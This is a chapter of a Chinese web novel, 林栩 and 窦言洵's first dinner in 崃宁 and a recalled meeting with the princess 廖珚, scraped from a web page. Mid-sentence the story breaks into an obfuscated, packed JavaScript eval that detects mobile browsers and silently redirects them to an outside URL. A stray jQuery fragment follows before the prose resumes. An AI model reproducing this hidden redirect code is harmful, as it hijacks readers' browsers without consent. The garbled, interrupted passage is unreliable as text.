只昔遥遥 作品

161. 逞强

白日里刚见过他杀伐果断的样子,如今再看到他这般眉眼舒展的笑意,林栩难免有些怔忡。


窦言洵轻抚着雪团的头,雪团舒服地眯起眼睛,吐着舌头笑,憨态可掬。


“崃宁这边饭菜不比沐京,反倒辛辣些,你累了整日,也不知是否合你的口味。”


窦言洵如今身居六品,布置饭菜这些事一般都由家中女眷操持着,再不济也是府里的管事张罗。


她白日历经种种心神不宁,又忙着布置后院,一时还没来得及吩咐厨房。没想到他不仅都看在眼里,还挂心她的疲惫。


“夫君如此有心。我又怎么会吃不惯呢。”


既然如此,她自然也得拿出一副贤良的姿态来。两人便移步百花厅,与后花园的碧澄湖不过一道花篱墙之隔,百花厅建在水榭中,临湖满载芦苇,随风轻荡,清幽雅致。


老管事弓着腰,见他二人来了,顷刻便有丫头们低头将备好的菜肴次第呈了上来。


窦言洵净过手,对林栩道:


“这位齐管事从前便是在窦府上做事的,后来回了崃宁管了几年田庄,做事可靠,这回见我们来了,前几日边说要来拜见,我便请齐管事留下做事了。”


林栩又看一眼这位齐管事,只见其虽有些上了年纪,但相貌端正老实,站在厅内几分局促,便知道是个踏实的性子。


窦言洵如今初来崃宁,正是招兵买马的时候,两个师爷并几名书吏,看上去都聪慧有余,可靠不足,尤其是那个姓马的师爷,如今家里有齐管事这个土生土长的当地人,也可帮衬上不少事。


林栩便点了点头。她不由得又想到,从前在窦家别院,窦言洵看似对这些从不在意,明面上身边更是连个心腹都没有,到底也是被白氏束缚住了。如今有了自己的地盘,一切也都更自由了。


竹苓和弄玉站在檀木圆桌旁边布菜,林栩看着满桌的饭菜,一时竟有些难以下筷。


红茱萸油和花椒油调拌的荠菜,山椒、野姜料理炖煮而成的野獐子肉……光是色泽便能看出样样都带点儿辛辣。甚至几道凉菜如肚丝和笋脯也都掺了麻椒和辣子。


她平日里吃惯了江南水乡的清淡味道,果然有些适应不了这里的辛辣。林栩几分踌躇,只夹起一块炙鸭脯吃了,鲜嫩可口,但佐料里依然有不少胡椒和辣椒面。


只一口,她便赶紧端起茶杯喝起茶来。


齐管事十分忐忑,忙道:“这饭菜可是不合夫人您的口味?已经吩咐厨房按照平日三成的辛辣来做了……”


林栩将杯中的茶水饮尽,想起方才还跟窦言洵说自己一定吃得惯的,没想到第一口就险些被辣出眼泪了。她拿起巾帕擦了擦嘴,便道:


“无妨,既然来了崃宁,总该要尝尝当地的菜。”


言罢,她抬起头,便看见窦言洵手执酒杯,正眉目含笑的看着她。


……他是在笑自己方才说了大话,如今又在他面前逞强么?


林栩只觉得脸颊因为刚才的花椒和麻椒的辛辣有些烫起来。


窦言洵却放下酒杯,夹了一只淋了姜醋汁的蒸蟹放到她的盘里。


“尝尝这个崃宁颇有名的酱蟹,咸鲜可口,一点儿不辣。”


又吩咐弄玉给林栩呈了满满一碗莲藕排骨汤,配着片好的冰鲜生鱼片。这些倒是一点都不辣,排骨炖得十分软烂,配着莲藕甘甜滋润,再暖胃不过。


窦言洵看她吃得津津有味,这才又拿起酒杯。


“崃宁地处南北要塞,虽毗邻沐京,风俗人情却不尽相同,又因一山之隔,崃宁盛产沐京并不常见的瓜果,你一向喜食甘甜之物,这些也都合你的口味。”


他上次因公去了一次东崃镇,回来后便给她带了好些瓜果甘甜之物。


窦言洵一边说,齐管事在一旁福着身子听地十分认真,模样颇为愧疚,看样子是全部都记下了。


林栩不禁有些赧颜。自己的喜好,如今窦言洵都已经了如指掌了,但他喜欢什么,忌讳什么,自己至今也不过只是知道个大概而已。


林栩一面默默吃着莲藕,一面想着家中陡然出了个县令,自己还是得尽快好好讨好一番他才是。


是夜,万籁俱寂,小轩窗紧紧地关住了,隔绝开窗外池塘边传来的阵阵蛙鸣。


林栩却有些睡不着。


她侧躺在床上,莫名地有些想念起从前来。倒也不是念着窦家,只不过是忆起临行前那趟回家,父亲鬓边白霜渐渐比从前多了许多,那时她便觉得喉咙一酸。


还有一年半……还有不到一年半的时间,便是前世那场令父亲蒙冤的沐京春闱了。父亲作为文官监考春闱科举,却怎么也想不到竟会和舞弊案扯上关系。更没想到,也是那件事,至此酿就了后来林府遍地尸身的横祸。


自重生后她原本以为时日还长,她还可以蛰伏着静静谋算,奈何时光飞逝,如今即便只是念及那场血光之灾,她便心中惶恐起来。


还记得临行来崃宁前,她如约去了一次长公主府。


那日艳阳高照,林栩只着一袭淡紫色齐胸衫裙,并一条桃红纱披。廖珚提前便和大门处的护卫知会了,她一路畅行至长公主府内后院的影壁,竹影斑驳间坤柔郡主边坐在假山旁的凉亭初等她。


廖珚许久未曾和林栩好好说过话,自然十分亲昵,在林栩即将行礼前便一把将她扶起来。


“我已做好决定。”


还是一贯的直白,简洁,毫不绕弯子。廖珚拉她入座,茶还未端上来,便道:


“……此次西蕃之乱,我已向父亲请辞,不日便随军征战,誓要平定云霁骚乱。”


林栩看着清碧一色间廖珚眉眼中掩盖不去的英气,怔忡不过片刻便勾唇一笑。


她早便知道廖珚的野心。昔日芝琼堂进学之时,廖珚便展示出了不少过人的谋略,甚至,那还是她一向避世不争刻意掩盖而为之的。


世人都道三皇子能文能武,但只有极少数人才能看到坤柔郡主那丝毫不逊于任何皇嗣的文韬武略。


林栩从前便想,如若廖珚是个男儿身,恐怕东宫之位绝不会至今都悬而未决。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205558|150938||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


/p>


世人都忌惮她是个女儿,但林栩从一开始,接近廖珚时,便洞悉她心中所有潜藏的野心,也甘愿走在她的身侧,为其遮蔽一切风雨。


林栩神情了然,廖珚看在眼里,心情便又舒爽不少。她早便知道林栩会同意她!哪怕身边所有人尽数反对,林栩也会永远站在自己的身侧。


“表兄如今也要南下,郡主有着盖世无双的韬略,表兄又一向骁勇善战,定可护得郡主金体万全,建立丰功伟绩。”


廖珚淡然一笑,“虽说如此,你可知母亲是如何反对我的?她又将我幽闭在家半旬,不许我见任何人,生怕我又像上次那般偷偷跑出府去。”


正巧模样恭敬乖巧的小丫头端来了茶水和几道小食,廖珚冷冷地看着,等到那小丫头退下,四周重新恢复寂静之后,才缓声道:


“如今我身边已经找不出能用的人了。正因为如此,我才迫切的想出去——”


林栩看着廖珚眼底四处弥漫的怒气,心中不免觉得有些悲凉。长公主历来势位至尊,对廖珚这个独女一直以为也都是捧在手心百依百顺的,却不知为何,自从昔日梁四入狱一事之后,长公主便再不愿意廖珚插手这些事情。


廖珚心性刚烈,长公主又一向说一不二,两人自然无法轻易的在此事上达成一致。曾经至高无上、亲密无间的皇家母女,如今竟然已经快要到了水火不容的地步了。


便是自己,一开始也没有想到,在帮助廖珚夺权的这条路上,最大的阻碍竟然来自于长公主。


“……长公主如此抗拒,或许是否已掌握了些不为人知的信息?郡主若是担心,倒也不妨和长公主殿下开诚布公地做坐下来将一切讲清楚。”


廖珚不置可否,看向垂花墙上影随风动,竹影簌簌,神情渐渐染上几分落寞。


“母亲既然已经定了主意,我也无力转圜。”她悠悠叹了口气,“从来自小便是母亲最懂我,最知道我想要什么,从前我只觉得父亲畏手畏脚,和志气冲天的男儿谈不上关系,没想到,如今一如既往支持地却是父亲。”


廖珚把玩着食指上的戒指,红宝石大而明亮,镶嵌在镂金繁复的花纹中,在阳光下闪现着熠熠的光。


“此去随军,亦是我首次出战,父亲虽然同意,却也放心不下,特意去光佛寺请空觉大师给我请了香。其实,倒也不必如此担心,我又不是领兵主帅,赵强虽鲁莽,领兵冲锋却称得上是一把好手,给他做副将,我也心安一些。”


林栩难免蹙了眉头。廖珚首次出征,便做了副将,又是一副女儿身,难免那些平日里五大三粗的大老粗们不会心生反意。到时候廖珚即便武力高强,孤身一人又该如何对抗?又如何才能服众?


此次前去云霁九部之乱,细细想来,竟然对廖珚和梁徵元两人都至关重要。甚至,待他们一行人南下到那蛮荒之地时,心中所能真正依靠之人,也只有彼此了。


林栩还记得临行前,廖珚将那枚戒指摘下来抵到她的手里。


“我不在的时日,你便拿这个做个念想吧。”